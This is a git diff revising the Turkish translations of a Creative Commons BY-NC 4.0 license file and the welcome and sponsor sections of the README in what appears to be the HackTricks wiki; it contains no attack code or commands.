diff --git a/src/LICENSE.md b/src/LICENSE.md index 0ab08cccc..6a2d86ddf 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -13,7 +13,7 @@ Formatlama: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/ma Creative Commons Corporation (“Creative Commons”) bir hukuk firması değildir ve hukuki hizmetler veya hukuki tavsiye sağlamaz. Creative Commons kamu lisanslarının dağıtımı, avukat-müvekkil veya başka bir ilişki oluşturmaz. Creative Commons, lisanslarını ve ilgili bilgileri "olduğu gibi" sunar. Creative Commons, lisansları, bu şartlar ve koşullar altında lisanslanan herhangi bir materyal veya ilgili bilgiler hakkında hiçbir garanti vermez. Creative Commons, bunların kullanımından kaynaklanan zararlar için mümkün olan en geniş ölçüde sorumluluğu reddeder. -## Using Creative Commons Public Licenses +## Creative Commons Kamu Lisanslarının Kullanımı Creative Commons kamu lisansları, yaratıcıların ve diğer hak sahiplerinin telif hakkına tabi orijinal eserleri ve aşağıdaki kamu lisansında belirtilen belirli diğer hakları paylaşmak için kullanabileceği standart bir terim ve koşul seti sağlar. Aşağıdaki hususlar yalnızca bilgilendirme amaçlıdır, kapsamlı değildir ve lisanslarımızın bir parçasını oluşturmaz. @@ -21,21 +21,21 @@ Creative Commons kamu lisansları, yaratıcıların ve diğer hak sahiplerinin t - **Kamu için hususlar:** Kamu lisanslarımızdan birini kullanarak, bir lisans veren, kamuya lisanslı materyali belirtilen şartlar ve koşullar altında kullanma izni verir. Lisans verenin izni herhangi bir nedenle gerekli değilse - örneğin, telif hakkına ilişkin herhangi bir geçerli istisna veya sınırlama nedeniyle - o zaman bu kullanım lisansla düzenlenmez. Lisanslarımız yalnızca, bir lisans verenin vermeye yetkili olduğu telif hakkı ve belirli diğer haklar altında izinler verir. Lisanslı materyalin kullanımı, diğer nedenlerle, başkalarının materyal üzerindeki telif hakkı veya diğer hakları nedeniyle hala kısıtlanabilir. Bir lisans veren, tüm değişikliklerin işaretlenmesini veya tanımlanmasını istemek gibi özel taleplerde bulunabilir. Lisanslarımız tarafından zorunlu olmasa da, makul olduğunda bu taleplere saygı göstermeniz teşvik edilir. [Kamu için daha fazla husus](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). -# Creative Commons Attribution-NonCommercial 4.0 International Public License +# Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı -Lisanslı Hakları (aşağıda tanımlanmıştır) kullanarak, bu Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı'nın ("Kamu Lisansı") şartlarına ve koşullarına bağlı kalmayı kabul edersiniz. Bu Kamu Lisansı, bir sözleşme olarak yorumlanabileceği ölçüde, bu şartlara ve koşullara kabulünüz karşılığında Lisanslı Hakları size verir ve Lisans veren, bu şartlar ve koşullar altında Lisanslı Materyali sunmaktan elde ettiği faydalar karşılığında size bu hakları verir. +Lisanslı Hakları (aşağıda tanımlanmıştır) kullanarak, bu Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı ("Kamu Lisansı") şartlarına ve koşullarına bağlı kalmayı kabul edersiniz. Bu Kamu Lisansı, bir sözleşme olarak yorumlanabileceği ölçüde, bu şartlara ve koşullara kabulünüz karşılığında Lisanslı Hakları size verir ve Lisans veren, bu şartlar ve koşullar altında Lisanslı Materyali sunmaktan elde ettiği faydalar karşılığında size bu hakları verir. ## Bölüm 1 – Tanımlar. a. **Uyarlanmış Materyal**; Telif Hakkı ve Benzer Haklara tabi olan, Lisanslı Materyalden türetilen veya ona dayanan ve Lisanslı Materyalin, Lisans verenin sahip olduğu Telif Hakkı ve Benzer Haklar altında izin gerektiren bir şekilde çevrildiği, değiştirildiği, düzenlendiği, dönüştürüldüğü veya başka bir şekilde değiştirildiği materyaldir. Bu Kamu Lisansı açısından, Lisanslı Materyal bir müzik eseri, performans veya ses kaydı olduğunda, Uyarlanmış Materyal her zaman Lisanslı Materyalin hareketli bir görüntü ile zamanlı ilişki içinde senkronize edildiği durumlarda üretilir. -b. **Adaptör Lisansı**; Uyarlanmış Materyale katkılarınızda Telif Hakkı ve Benzer Haklarınıza uyguladığınız lisans anlamına gelir. +b. **Adaptör Lisansı**; Uyarlanmış Materyale katkılarınızda Telif Hakkı ve Benzer Haklarınızı bu Kamu Lisansının şartlarına ve koşullarına uygun olarak uyguladığınız lisans anlamına gelir. -c. **Telif Hakkı ve Benzer Haklar**; telif hakkı ve/veya telif hakkıyla yakından ilişkili benzer haklar anlamına gelir; bunlar arasında, sınırlama olmaksızın, performans, yayın, ses kaydı ve Sui Generis Veri Tabanı Hakları bulunur; hakların nasıl etiketlendiği veya kategorize edildiği dikkate alınmaksızın. Bu Kamu Lisansı açısından, Bölüm 2(b)(1)-(2)'de belirtilen haklar Telif Hakkı ve Benzer Haklar değildir. +c. **Telif Hakkı ve Benzer Haklar**; telif hakkı ve/veya telif hakkıyla yakından ilişkili benzer haklar anlamına gelir; bunlar arasında, sınırlama olmaksızın, performans, yayın, ses kaydı ve Sui Generis Veri Tabanı Hakları bulunur; hakların nasıl adlandırıldığı veya kategorize edildiği dikkate alınmaksızın. Bu Kamu Lisansı açısından, Bölüm 2(b)(1)-(2)'de belirtilen haklar Telif Hakkı ve Benzer Haklar değildir. d. **Etkin Teknolojik Önlemler**; uygun yetki olmaksızın, 20 Aralık 1996'da kabul edilen WIPO Telif Hakkı Antlaşması'nın 11. Maddesi uyarınca yükümlülükleri yerine getiren yasalar altında aşılmaması gereken önlemleri ifade eder ve/veya benzer uluslararası anlaşmaları. -e. **İstisnalar ve Sınırlamalar**; adil kullanım, adil işlem ve/veya Telif Hakkı ve Benzer Haklara tabi olan Lisanslı Materyali kullanmanız için geçerli olan herhangi bir diğer istisna veya sınırlama anlamına gelir. +e. **İstisnalar ve Sınırlamalar**; adil kullanım, adil işlem ve/veya Telif Hakkı ve Benzer Haklar üzerindeki herhangi bir istisna veya sınırlama anlamına gelir; bu, Lisanslı Materyali kullanmanız için geçerlidir. f. **Lisanslı Materyal**; Lisans verenin bu Kamu Lisansını uyguladığı sanatsal veya edebi eser, veri tabanı veya diğer materyali ifade eder. @@ -43,11 +43,11 @@ g. **Lisanslı Haklar**; bu Kamu Lisansının şartlarına ve koşullarına tabi h. **Lisans Veren**; bu Kamu Lisansı altında hakları veren birey(ler) veya varlık(lar) anlamına gelir. -i. **Ticari Olmayan**; esasen ticari avantaj veya maddi tazminat amacı gütmeyen anlamına gelir. Bu Kamu Lisansı açısından, Lisanslı Materyalin, Telif Hakkı ve Benzer Haklar altında başka bir materyal ile dijital dosya paylaşımı veya benzeri yollarla değiştirilmesi Ticari Olmayan olarak kabul edilir, sağlanan değişimle bağlantılı olarak maddi tazminat ödemesi yapılmadığı sürece. +i. **Ticari Olmayan**; esasen ticari avantaj veya maddi tazminat amacı gütmeyen anlamına gelir. Bu Kamu Lisansı açısından, Lisanslı Materyalin, Telif Hakkı ve Benzer Haklar altında başka bir materyal ile dijital dosya paylaşımı veya benzeri yollarla değiştirilmesi Ticari Olmayan olarak kabul edilir; bununla birlikte, değişimle bağlantılı olarak maddi tazminat ödemesi yoktur. j. **Paylaşmak**; Lisanslı Haklar altında izin gerektiren herhangi bir yöntem veya süreçle materyali kamuya sağlamak, örneğin, çoğaltma, kamuya gösterim, kamu performansı, dağıtım, yayma, iletişim veya ithalat ve materyali kamuya sunmak, kamu üyelerinin materyale kendi seçtikleri bir yerden ve zamanda erişebileceği yollar dahil. -k. **Sui Generis Veri Tabanı Hakları**; Avrupa Parlamentosu ve 11 Mart 1996 tarihli Veri Tabanlarının yasal korunmasına ilişkin 96/9/EC sayılı Direktiften kaynaklanan telif hakkı dışındaki hakları ifade eder; bu haklar, değişiklikler ve/veya halefiyetler ile birlikte, dünyanın herhangi bir yerinde esasen eşdeğer hakları içerir. +k. **Sui Generis Veri Tabanı Hakları**; Avrupa Parlamentosu ve 11 Mart 1996 tarihli Veri Tabanlarının Yasal Korunması Hakkında 96/9/EC sayılı Direktif'ten kaynaklanan telif hakkı dışındaki hakları ifade eder; bu, değişiklikler ve/veya halefiyetler ile birlikte, dünyanın herhangi bir yerinde esasen eşdeğer hakları içerir. l. **Siz**; bu Kamu Lisansı altında Lisanslı Hakları kullanan birey veya varlık anlamına gelir. "Siz" kelimesinin karşılık gelen bir anlamı vardır. @@ -64,22 +64,22 @@ B. Uyarlanmış Materyali yalnızca Ticari Olmayan amaçlar için üretmek, ço 2. **İstisnalar ve Sınırlamalar.** Şüpheye mahal vermemek için, İstisnalar ve Sınırlamalar sizin kullanımınıza uygulanıyorsa, bu Kamu Lisansı geçerli değildir ve şartlarına ve koşullarına uymanız gerekmez. 3. **Süre.** Bu Kamu Lisansının süresi Bölüm 6(a)'da belirtilmiştir. -4. **Medya ve formatlar; teknik değişikliklere izin verilir.** Lisans veren, Lisanslı Hakları tüm mevcut veya gelecekte oluşturulacak medya ve formatlarda kullanmanıza izin verir ve bunu yapmak için gerekli teknik değişiklikleri yapmanıza izin verir. Lisans veren, Lisanslı Hakları kullanmak için gerekli teknik değişiklikleri yapmanızı engelleme hakkını ve/veya yetkisini feragat eder ve/veya bu tür değişiklikleri yapmanızı engellemeyeceğini kabul eder; bu, Etkin Teknolojik Önlemleri aşmak için gerekli teknik değişiklikleri içerir. Bu Kamu Lisansı açısından, yalnızca bu Bölüm 2(a)(4) tarafından yetkilendirilmiş değişiklikler, Uyarlanmış Materyal üretmez. +4. **Medya ve formatlar; teknik değişikliklere izin verilir.** Lisans veren, Lisanslı Hakları tüm mevcut veya gelecekte oluşturulacak medya ve formatlarda kullanmanıza izin verir ve bunu yapmak için gerekli teknik değişiklikleri yapmanıza izin verir. Lisans veren, Lisanslı Hakları kullanmak için gerekli teknik değişiklikleri yapmanızı engelleme hakkını veya yetkisini feragat eder ve/veya bu konuda herhangi bir hak veya yetkiyi ileri sürmeyeceğini kabul eder; bu, Etkin Teknolojik Önlemleri aşmak için gerekli teknik değişiklikleri de içerir. Bu Kamu Lisansı açısından, yalnızca bu Bölüm 2(a)(4) tarafından yetkilendirilmiş değişiklikler, asla Uyarlanmış Materyal üretmez. 5. **Aşağı akış alıcıları.** -A. **Lisans verenin teklifi – Lisanslı Materyal.** Lisanslı Materyalin her alıcısı, otomatik olarak, bu Kamu Lisansının şartları ve koşulları altında Lisanslı Hakları kullanma teklifi alır. +A. **Lisans verenin teklifi – Lisanslı Materyal.** Lisanslı Materyalin her alıcısı, otomatik olarak Lisans verenin bu Kamu Lisansı şartları ve koşulları altında Lisanslı Hakları kullanma teklifini alır. -B. **Aşağı akış kısıtlamaları yok.** Lisanslı Materyale, Lisanslı Hakları kullanan herhangi bir alıcının kullanımını kısıtlayacak şekilde ek veya farklı şartlar veya koşullar sunamaz veya uygulayamazsınız. +B. **Aşağı akış kısıtlamaları yoktur.** Lisanslı Materyal üzerinde, Lisanslı Hakların herhangi bir alıcısının kullanımını kısıtlayacak şekilde ek veya farklı şartlar veya koşullar sunamaz veya uygulayamazsınız. -6. **Onay yok.** Bu Kamu Lisansında hiçbir şey, sizin veya Lisanslı Materyali kullanımınızın, Lisans veren veya atıf almak üzere belirlenen diğerleri tarafından onaylandığı veya desteklendiği veya resmi bir statü verildiği anlamına gelmez veya böyle yorumlanamaz. +6. **Onay yoktur.** Bu Kamu Lisansında hiçbir şey, sizin veya Lisanslı Materyali kullanımınızın, Lisans veren veya atıf almak üzere belirlenen diğerleri tarafından onaylandığı veya desteklendiği veya resmi bir statü verildiği anlamına gelmez veya böyle yorumlanamaz. b. **_Diğer haklar._** -1. Ahlaki haklar, bütünlük hakkı gibi, bu Kamu Lisansı altında lisanslanmamıştır; ayrıca tanıtım, gizlilik ve/veya diğer benzer kişilik hakları da lisanslanmamıştır; ancak, mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanabilmeniz için gerekli olan sınırlı ölçüde, Lisans verenin sahip olduğu bu tür hakları feragat eder ve/veya bu hakları ileri sürmeyeceğini kabul eder. +1. Ahlaki haklar, bütünlük hakkı gibi, bu Kamu Lisansı altında lisanslanmamıştır; ayrıca tanıtım, gizlilik ve/veya diğer benzer kişilik hakları da yoktur; ancak, mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanabilmeniz için gerekli sınırlı ölçüde Lisans verenin sahip olduğu bu tür hakları feragat eder ve/veya ileri sürmemeyi kabul eder. 2. Patent ve ticari marka hakları bu Kamu Lisansı altında lisanslanmamıştır. -3. Mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanmanız için sizden telif ücreti talep etme hakkından feragat eder; bu, doğrudan veya herhangi bir gönüllü veya feragat edilebilir yasal veya zorunlu lisanslama düzenlemesi aracılığıyla olabilir. Diğer tüm durumlarda, Lisans veren, bu tür telif ücretlerini toplama hakkını açıkça saklı tutar; bu, Lisanslı Materyalin Ticari Olmayan amaçlar dışında kullanılması durumunda geçerlidir. +3. Mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanmanız için sizden telif ücreti talep etme hakkından feragat eder; bu, doğrudan veya herhangi bir gönüllü veya feragat edilebilir yasal veya zorunlu lisanslama düzenlemesi aracılığıyla olabilir. Diğer tüm durumlarda, Lisans veren, bu tür telif ücretlerini toplama hakkını açıkça saklı tutar; bu, Lisanslı Materyalin Ticari Olmayan amaçlar dışında kullanılması durumunda da geçerlidir. ## Bölüm 3 – Lisans Şartları. @@ -91,7 +91,7 @@ a. **_Atıf._** A. Lisans veren tarafından Lisanslı Materyal ile sağlanmışsa, aşağıdakileri korumalısınız: -i. Lisanslı Materyalin yaratıcısının ve atıf almak üzere belirlenen diğerlerinin kimliğini, Lisans verenin talep ettiği makul bir şekilde (belirtilmişse takma adla dahil) tanımlamak; +i. Lisanslı Materyalin yaratıcısının ve atıf alması gereken diğerlerinin kimliğini, Lisans verenin talep ettiği makul bir şekilde belirtmek (belirtilmişse takma adla dahil); ii. bir telif hakkı bildirimi; @@ -101,13 +101,13 @@ iv. garantilerin reddine atıfta bulunan bir bildirim; v. Lisanslı Materyale makul ölçüde ulaşılabilir bir URI veya köprü; -B. Lisanslı Materyali değiştirdiyseniz belirtmek ve önceki değişikliklerin bir göstergesini korumak; ve +B. Lisanslı Materyali değiştirdiyseniz belirtin ve önceki değişikliklerin bir göstergesini koruyun; ve -C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtmek ve bu Kamu Lisansının metnini veya URI veya köprüsünü dahil etmek. +C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtin ve bu Kamu Lisansının metnini veya URI veya köprüsünü ekleyin. -2. Bölüm 3(a)(1) şartlarını, Lisanslı Materyali Paylaştığınız ortam, araç ve bağlama dayalı olarak makul bir şekilde yerine getirebilirsiniz. Örneğin, gerekli bilgileri içeren bir kaynağa URI veya köprü sağlamak makul olabilir. +2. Bölüm 3(a)(1) şartlarını, Lisanslı Materyali Paylaştığınız ortam, araç ve bağlama dayalı olarak makul bir şekilde yerine getirebilirsiniz. Örneğin, gerekli bilgileri içeren bir kaynağa URI veya köprü sağlayarak şartları yerine getirmek makul olabilir. -3. Lisans veren tarafından talep edilirse, Bölüm 3(a)(1)(A) tarafından talep edilen bilgilerin herhangi birini makul ölçüde kaldırmalısınız. +3. Lisans veren tarafından talep edilirse, Bölüm 3(a)(1)(A) tarafından talep edilen bilgilerin makul ölçüde kaldırılmasını sağlamalısınız. 4. Ürettiğiniz Uyarlanmış Materyali Paylaşırsanız, uyguladığınız Adaptör Lisansı, Uyarlanmış Materyalin alıcılarının bu Kamu Lisansına uymasını engellememelidir. @@ -115,33 +115,33 @@ C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtmek Lisanslı Haklar, Lisanslı Materyali kullanmanız için geçerli olan Sui Generis Veri Tabanı Haklarını içeriyorsa: -a. Şüpheye mahal vermemek için, Bölüm 2(a)(1) size, yalnızca Ticari Olmayan amaçlar için veri tabanının tümünü veya önemli bir kısmını çıkartma, yeniden kullanma, çoğaltma ve Paylaşma hakkı verir; +a. Şüpheye mahal vermemek için, Bölüm 2(a)(1) size, yalnızca Ticari Olmayan amaçlar için veri tabanının tümünü veya önemli bir kısmını çıkartma, yeniden kullanma, çoğaltma ve Paylaşma hakkını verir; b. Eğer Sui Generis Veri Tabanı Haklarına sahip olduğunuz bir veri tabanında veri tabanı içeriğinin tamamını veya önemli bir kısmını dahil ederseniz, o zaman Sui Generis Veri Tabanı Haklarına sahip olduğunuz veri tabanı (ancak bireysel içerikleri değil) Uyarlanmış Materyaldir; ve c. Veri tabanının tümünü veya önemli bir kısmını Paylaşırsanız, Bölüm 3(a) şartlarına uymalısınız. -Şüpheye mahal vermemek için, bu Bölüm 4, Lisanslı Hakların diğer Telif Hakkı ve Benzer Hakları içerdiği durumlarda bu Kamu Lisansı altındaki yükümlülüklerinizi tamamlar ve değiştirmez. +Şüpheye mahal vermemek için, bu Bölüm 4, Lisanslı Hakların diğer Telif Hakkı ve Benzer Haklar içerdiği durumlarda bu Kamu Lisansı altındaki yükümlülüklerinizi tamamlar ve değiştirmez. ## Bölüm 5 – Garantilerin Reddine ve Sorumluluğun Sınırlandırılmasına İlişkin Feragat. -a. **Aksi takdirde Lisans veren tarafından ayrı olarak üstlenilmedikçe, mümkün olduğu ölçüde, Lisans veren, Lisanslı Materyali olduğu gibi ve mevcut haliyle sunar ve Lisanslı Materyal hakkında hiçbir türde, açık, örtük, yasal veya diğer herhangi bir garanti vermez. Bu, sınırlama olmaksızın, mülkiyet, ticari uygunluk, belirli bir amaca uygunluk, ihlal etmeme, gizli veya diğer kusurların yokluğu, doğruluk veya hata varlığı veya yokluğu ile ilgili garantileri içerir; bunlar biliniyor veya keşfediliyor olsun ya da olmasın. Garantilerin reddedilmesine izin verilmediği durumlarda, bu feragat sizin için geçerli olmayabilir.** +a. **Aksi takdirde Lisans veren tarafından ayrı olarak üstlenilmedikçe, mümkün olduğu ölçüde, Lisans veren, Lisanslı Materyali olduğu gibi ve mevcut haliyle sunar ve Lisanslı Materyal hakkında hiçbir türde, açık, örtük, yasal veya diğer herhangi bir temsil veya garanti vermez. Bu, sınırlama olmaksızın, mülkiyet, ticari uygunluk, belirli bir amaca uygunluk, ihlal etmeme, gizli veya diğer kusurların yokluğu, doğruluk veya hata varlığı veya yokluğu ile ilgili garantileri içerir; bunlar biliniyor veya keşfedilebilir olup olmadığına bakılmaksızın. Garantilerin tamamen veya kısmen reddedilmesine izin verilmediği durumlarda, bu feragat sizin için geçerli olmayabilir.** -b. **Mümkün olduğu ölçüde, Lisans veren, herhangi bir yasal teori (sınırlama olmaksızın, ihmal dahil) veya başka bir şekilde, bu Kamu Lisansı veya Lisanslı Materyalin kullanımı nedeniyle doğan herhangi bir doğrudan, özel, dolaylı, tesadüfi, sonuçsal, cezai, örnek niteliğinde veya diğer kayıplar, maliyetler, harcamalar veya zararlar için size karşı sorumlu olmayacaktır; bu, Lisans verenin bu tür kayıpların, maliyetlerin, harcamaların veya zararların olasılığı hakkında bilgilendirilmiş olması durumunda bile geçerlidir. Sorumluluğun sınırlandırılmasına izin verilmediği durumlarda, bu sınırlama sizin için geçerli olmayabilir.** +b. **Mümkün olduğu ölçüde, Lisans veren, bu Kamu Lisansı veya Lisanslı Materyalin kullanımı nedeniyle ortaya çıkan herhangi bir doğrudan, özel, dolaylı, tesadüfi, sonuçsal, cezai, örnek niteliğinde veya diğer kayıplar, maliyetler, harcamalar veya zararlar için herhangi bir yasal teori (sınırlama olmaksızın, ihmal dahil) veya başka bir şekilde size karşı sorumlu olmayacaktır; bu, Lisans verenin bu tür kayıpların, maliyetlerin, harcamaların veya zararların olasılığı hakkında bilgilendirildiği durumlarda bile geçerlidir. Sorumluluğun sınırlandırılmasına izin verilmediği durumlarda, bu sınırlama sizin için geçerli olmayabilir.** -c. Yukarıda sağlanan garantilerin reddi ve sorumluluğun sınırlandırılması, mümkün olduğu ölçüde, tüm sorumluluğun mutlak bir feragat ve reddi ile en yakın şekilde yorumlanacaktır. +c. Yukarıda sağlanan garantilerin reddi ve sorumluluğun sınırlandırılması, mümkün olduğu ölçüde, tüm sorumluluğun mutlak bir şekilde reddi ve feragatine en yakın şekilde yorumlanacaktır. ## Bölüm 6 – Süre ve Fesih. a. Bu Kamu Lisansı, burada lisanslanan Telif Hakkı ve Benzer Hakların süresi boyunca geçerlidir. Ancak, bu Kamu Lisansına uymadığınız takdirde, bu Kamu Lisansı altındaki haklarınız otomatik olarak sona erer. -b. Eğer Bölüm 6(a) uyarınca Lisanslı Materyali kullanma hakkınız sona erdiyse, bu hak, aşağıdaki durumlarda otomatik olarak yeniden kazanılır: +b. Eğer Bölüm 6(a) uyarınca Lisanslı Materyali kullanma hakkınız sona erdiyse, bu hak, aşağıdaki durumlarda yeniden kazanılır: 1. ihlalin düzeltildiği tarihten itibaren otomatik olarak, eğer ihlal, ihlali keşfettiğiniz tarihten itibaren 30 gün içinde düzeltilirse; veya 2. Lisans veren tarafından açıkça yeniden kazanılması durumunda. -Şüpheye mahal vermemek için, bu Bölüm 6(b), Lisans verenin bu Kamu Lisansına uymadığınız durumlarda herhangi bir çözüm arama hakkını etkilemez. +Şüpheye mahal vermemek için, bu Bölüm 6(b) Lisans verenin bu Kamu Lisansına uymamanız nedeniyle arama yapma hakkını etkilemez. c. Şüpheye mahal vermemek için, Lisans veren ayrıca Lisanslı Materyali ayrı şartlar veya koşullar altında sunabilir veya Lisanslı Materyali dağıtmayı herhangi bir zamanda durdurabilir; ancak, bunu yapmak bu Kamu Lisansını sona erdirmeyecektir. @@ -149,7 +149,7 @@ d. Bölüm 1, 5, 6, 7 ve 8, bu Kamu Lisansının sona ermesinden sonra geçerlil ## Bölüm 7 – Diğer Şartlar ve Koşullar. -a. Lisans veren, siz tarafından iletilen ek veya farklı şartlar veya koşullara bağlı değildir; ancak açıkça kabul edilmedikçe. +a. Lisans veren, siz tarafından iletilen ek veya farklı şartlar veya koşullara bağlı değildir; aksi açıkça kabul edilmedikçe. b. Burada belirtilmeyen Lisanslı Materyal ile ilgili herhangi bir düzenleme, anlayış veya anlaşma, bu Kamu Lisansının şartlarından ve koşullarından ayrı ve bağımsızdır. @@ -157,11 +157,11 @@ b. Burada belirtilmeyen Lisanslı Materyal ile ilgili herhangi bir düzenleme, a a. Şüpheye mahal vermemek için, bu Kamu Lisansı, Lisanslı Materyali, bu Kamu Lisansı altında izin olmaksızın yasal olarak yapılabilecek herhangi bir kullanımını azaltmaz, sınırlamaz, kısıtlamaz veya koşul getirmez. -b. Mümkün olduğu ölçüde, bu Kamu Lisansının herhangi bir hükmü uygulanamaz olarak kabul edilirse, uygulanabilir hale getirmek için gerekli olan en az ölçüde otomatik olarak yeniden düzenlenecektir. Eğer hüküm yeniden düzenlenemezse, bu Kamu Lisansından ayrılacak ve kalan şartların ve koşulların uygulanabilirliğini etkilemeyecektir. +b. Mümkün olduğu ölçüde, bu Kamu Lisansının herhangi bir hükmü uygulanamaz olarak kabul edilirse, uygulanabilir hale getirmek için gerekli en az ölçüde otomatik olarak yeniden düzenlenecektir. Eğer hüküm yeniden düzenlenemezse, bu Kamu Lisansından ayrılacak ve kalan şartların ve koşulların uygulanabilirliğini etkilemeyecektir. -c. Bu Kamu Lisansının hiçbir şartı veya koşulu feragat edilmez ve hiçbir uyumsuzluk kabul edilmez; ancak, Lisans veren tarafından açıkça kabul edilmedikçe. +c. Bu Kamu Lisansının hiçbir şartı veya koşulu feragat edilmeyecek ve hiçbir uyumsuzluk kabul edilmeyecek; aksi açıkça Lisans veren tarafından kabul edilmedikçe. -d. Bu Kamu Lisansında hiçbir şey, Lisans veren veya sizin için geçerli olan herhangi bir ayrıcalık ve dokunulmazlık üzerinde bir sınırlama veya feragat olarak yorumlanamaz; bu, herhangi bir yargı veya otoritenin yasal süreçlerinden muafiyet dahil. +d. Bu Kamu Lisansı altında hiçbir şey, Lisans veren veya sizin için geçerli olan herhangi bir ayrıcalık ve dokunulmazlık üzerinde bir sınırlama veya feragat olarak yorumlanamaz; bu, herhangi bir yargı veya otoritenin yasal süreçlerinden muafiyet dahil. ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. diff --git a/src/README.md b/src/README.md index eef3f8a2d..098c45abf 100644 --- a/src/README.md +++ b/src/README.md @@ -9,7 +9,7 @@ _Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagr > [!TIP] > **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.** -Başlamak için, **bir veya daha fazla makineyi pentest ederken takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin: +Başlamak için, **bir veya daha fazla makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin: {{#ref}} generic-methodologies-and-resources/pentesting-methodology.md @@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. +[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. {% embed url="https://www.rootedcon.com/" %} @@ -45,7 +45,7 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.** -**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! +**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -84,7 +84,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke **Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin** -**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün. +**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} @@ -94,14 +94,14 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
-**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır. +**SerpApi**, **arama motoru sonuçlarına** hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır. -SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\ +SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\ Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve diğer öğeleri ve özellikleri sürekli olarak içerir. Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\ -**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign_up) oluşturabilirsiniz.** +**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign_up)**.** --- @@ -109,7 +109,7 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
